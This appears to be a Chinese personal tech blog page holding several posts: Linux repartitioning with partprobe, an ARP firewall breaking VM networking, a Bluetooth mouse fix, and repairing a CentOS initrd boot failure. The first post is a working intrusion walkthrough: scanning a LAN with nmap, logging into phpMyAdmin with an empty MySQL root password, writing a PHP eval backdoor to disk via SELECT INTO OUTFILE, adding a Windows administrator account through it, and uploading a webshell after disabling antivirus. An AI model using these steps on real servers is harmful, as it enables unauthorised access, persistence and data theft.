寻觅生命中的那一片浅草......

利用phpMyAdmin拿webshell

今天对局域网进行了安全检查

先用nmap对网段进行扫描,看下机器都监听了哪些端口,刚知道nmap可以扫描整个网段

nmap 192.168.16.0/24

恩,有结果了,将结果保存下来,查找那些开了80的,将IP复制到浏览器逐个尝试

终于被我找到一台

浏览器访问
http://192.168.16.19/
允许列目录的

页面底部有服务器信息
Apache/2.2.9 (APMServ) PHP/5.2.6 Server at 192.168.16.19 Port 80

用的是APMserv,应该有phpMyAdmin,自己下载了个APMserv,对比了下目录结构
访问
http://192.168.16.19/phpmyadmin/

成功了,而且MySQL的root帐号没有设置密码,直接登录进去了

这时需要做的是找出网站存放的系统路径,APMserv默认是有phpinfo.php
尝试访问http://192.168.16.19/phpinfo.php
提示没有文件,看来只能另外找办法

回到phpmyadmin,点击“显示 MySQL 的系统变量”

可以看到MySQL的目录:F:\APMServ5.2.6\MySQL5.1\

那phpMyAdmin的目录就是F:\APMServ5.2.6\www\phpMyAdmin\

通过数据库,导出一个PHP文件
随便选个数据库,然后执行以下的sql

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(‘<?php @eval($_POST[cmd])?>’);
select cmd from a into outfile ‘F:/APMServ5.2.6/www/phpMyAdmin/eval.php’;
Drop TABLE IF EXISTS a;

这是我们的后门
http://192.168.16.19/phpmyadmin/eval.php

加个系统帐号
http://192.168.16.19/phpmyadmin/eval.php?cmd=net user test test /add
将test设置成系统管理员
http://192.168.16.19/phpmyadmin/eval.php?cmd=net localgroup administrators test /add

可惜没有开远程桌面,不能登陆

那不登录,传个webshell上去,下载些文件回来

下载“lanker一句话PHP后门客户端3.0内部版”

注意,杀毒软件会认为lanker一句话PHP后门客户端3.0内部版.htm是病毒,注意先关闭杀毒软件

我们后面地址是http://192.168.16.19/phpmyadmin/eval.php

传test.php上去,访问http://192.168.16.19/phpmyadmin/test.php

这就似乎我们的webshell了

Re-reading the partition table failed with error 16 Device or resource busy

I had this situation at office where I was told to re-partition an already existing partition. The situation was to get the below schema

/dev/sdb1 1 3040 24418768+ 83 Linux

/dev/sdb2 3041 6080 24418800 83 Linux
/dev/sdb3 6081 30515 196274137+ 83 Linux

to

/dev/sdb1 1 3040 24418768+ 83 Linux
/dev/sdb2 3041 6080 24418800 83 Linux
/dev/sdb3 6081 30515 196274137+ 5 Extended
/dev/sdb5 6081 18239 97667136 83 Linux
/dev/sdb6 18240 30515 98606938+ 83 Linux

Alright, now the partition /dev/sdb2 was in use and cannot be unmounted. So what happens when you finish the partitioning with fdisk ?

WARNING: Re-reading the partition table failed with error 16: Device or resource busy.
The kernel still uses the old table.
The new table will be used at the next reboot.
Syncing disks.

This happends, if you are using/mounted any partitions of the HDD which you just re-partitioned. Normally we do reboot the machine to get this right. But this is not always the easy way out, when you have something running on the machine/multiple users are on the machine working etc. So there comes the “parted” for rescue.

The package “parted” provides a tool called “partprobe“. This will do the magic for you, you just type in the command (see the man page for more info on partprobe) and this will give the information needed about your newly created partition to your kernel.

http://blog.csdn.net/xdstone1/archive/2009/02/24/3931191.aspx

彩影ARP防火墙(Antiarp)导致虚拟机无法上网

最近从host登录到vm非常慢,经常无法连接,登录进去也无法ping通网关,折腾大半天,发现是彩影ARP防火墙惹的祸,把它关了就一了百了
但又不能关,尝试了下修改配置,竟然可以了
右键托盘上彩影ARP防火墙的图标,选择基本配置,将“拦截本机对外ARP攻击”和“拦截本机对外伪造IP攻击(伪造源IP)”前面的勾去掉,点击确定,虚拟机上网就一溜一溜的了。

Win 7下的蓝牙鼠标无响应

最近买了个蓝牙鼠标,动不动就无响应,非常不爽,
右键我的电脑–管理–Bluetooth无线电收发器,右键你的蓝牙设备,选择属性,再点电源管理,把允许计算机关闭此设备以节约电源前的勾去掉

Win 7,到处都是省电的配置,低碳?

也有人说是驱动问题:
去下个这个驱动应该可以解决 IVT_BlueSoleil_5.0_for_32bit_OS
我用的是32位的。如果你是64位就不知道下64位能解不了…….

参考文章
http://bbs.pcbeta.com/archiver/tid-580570.html

定制的CentOS,提示无法挂载根分区

定制的CentOS5.4系统无法启动,应该是去到挂载磁盘的时候,提示
VFS:Cannot open root device “sda2” or unknown block(0,0);
Please append a correct “root=” boot option
kernel panic -not syncing:VFS:Unable to mount root fs on unknown block(0,0)

网上查资料说是因为编译内核的时候,没有把scsi的驱动编译进内核,但用的内核是CentOS5.4自带的,如果用完整光盘安装,则不会有错
初步怀疑安装过程出错,用光盘启动进入修复模式
光盘启动后输入
linux rescue
然后按2次确定吧,系统挂载到/mnt/sysimage
chroot /mnt/sysimage,这时就进入到硬盘上的系统了
首先看下grub.conf
cat /boot/grub/grub.conf
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE: You have a /boot partition. This means that
# all kernel and initrd paths are relative to /boot/, eg.
# root (hd0,0)
# kernel /vmlinuz-version ro root=/dev/sda2
# initrd /initrd-version.img
#boot=/dev/sda
default=0
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenu
title CentOS (2.6.18-164.el5)
root (hd0,0)
kernel /vmlinuz-2.6.18-164.el5 ro root=LABEL=/1

再找台可以正常启动的机器看下
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE: You have a /boot partition. This means that
# all kernel and initrd paths are relative to /boot/, eg.
# root (hd0,0)
# kernel /vmlinuz-version ro root=/dev/sda2
# initrd /initrd-version.img
#boot=/dev/sda
default=0
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenu
title CentOS (2.6.18-164.el5)
root (hd0,0)
kernel /vmlinuz-2.6.18-164.el5 ro root=LABEL=/1
initrd /initrd-2.6.18-164.el5.img

现在看到前面有问题的系统,配置文件里少了一行关于initrd的配置
本来想手动加上去,但
ls /boot/
发现根本没有initrd-2.6.18-164.el5.img
记得上次看刘天斯的<<编译内核及制作RPM包>>
文件见
http://blog.liuts.com/post/180/

里面说到initrd-2.6.18-164.el5.img不是包含在rpm包里的,而是要在安装过程生成的

想到要看下/root目录下的install.log,看安装过程出了什么问题
vi /root/install.log

关键错误
/sbin/mkinitrd:line 1367:mktemp:command not found
Error creating temporaries. Try again
mkinitrd failed

去到正常的系统里
which mktemp
输出:/bin/mktemp
rpm -qf /bin/mktemp
输出:
mktemp-1.5-23.2.2

把mktemp-1.5-23.2.2复制到目录,然后重新生成ISO文件,再安装系统,启动就正常了

需要注意的是,再看下/root/install.log,看报什么错,如果是关键错误,要看如何修复

############################延伸阅读######################
内核引导文件initrd.img简介

http://netbay.bokee.com/3353657.html
作者:coolq 更新日期:2005-08-22
来源:linuxforum.net

什么是initrd?
initrd = init ramdisk,是一个启动时存在于内存的文件系统。 initrd的最初的目的是为了把kernel的启动分成两个阶段:在kernel中保留最少最基本的启动代码,然后把对各种各样硬件设备的支持以模块的 方式放在 initrd中,这样就在启动过程中可以从initrd所mount的根文件系统中装载需要的模块。这样的一个好处就是在保持kernel不变的情况下, 通过修改initrd中的内容就可以灵活的支持不同的硬件。在启动完成的最后阶段,根文件系统可以重新mount到其他设备上。

Linux启动一定要用initrd么?
不必,如果把需要的功能全都编译到内核中(非模块方式),只需要一个内核文件即可,initrd能够减小启动内核的体积并增加灵活性。如果你的内核以模块 方式支持某种文件系统(例如ext3, UFS),而启动阶段的驱动模块(如jbd)放在这些文件系统上,内核是无法读取文件系统的,从而只能通过initrd的虚拟文件系统来装载这些模块。这 里有些人会问: 既然内核此时不能读取文件系统,那内核的文件是怎么装入内存中的呢?答案很简单,Grub是file-system sensitive的,能够识别常见的文件系统。

initrd文件是怎么生成的?
使用mkinitrd命令,这个命令其实是一个Bash脚本
#file `which mkinitrd`
/sbin/mkinitrd: Bourne-Again shell script text executable
该脚本先建立一个8M的空文件,并在此上建立一个文件系统,并拷贝相应的的文件。

查看initrd里面的文件
mkdir /root/initrd
cd /root/initrd
cp /boot/initrd-2.6.18-164.el5.img .
mv initrd-2.6.18-164.el5.img initrd-2.6.18-164.el5.img.gz
gunzip initrd-2.6.18-164.el5.img.gz
file initrd-2.6.18-164.el5.img
输出:initrd-2.6.18-164.el5.img: ASCII cpio archive (SVR4 with no CRC)
cpio -idmv < initrd-2.6.18-164.el5.img
ls
可以看到以下目录和文件
bin dev etc init lib proc sbin sys sysroot

2025年七月
« 5月    
 123456
78910111213
14151617181920
21222324252627
28293031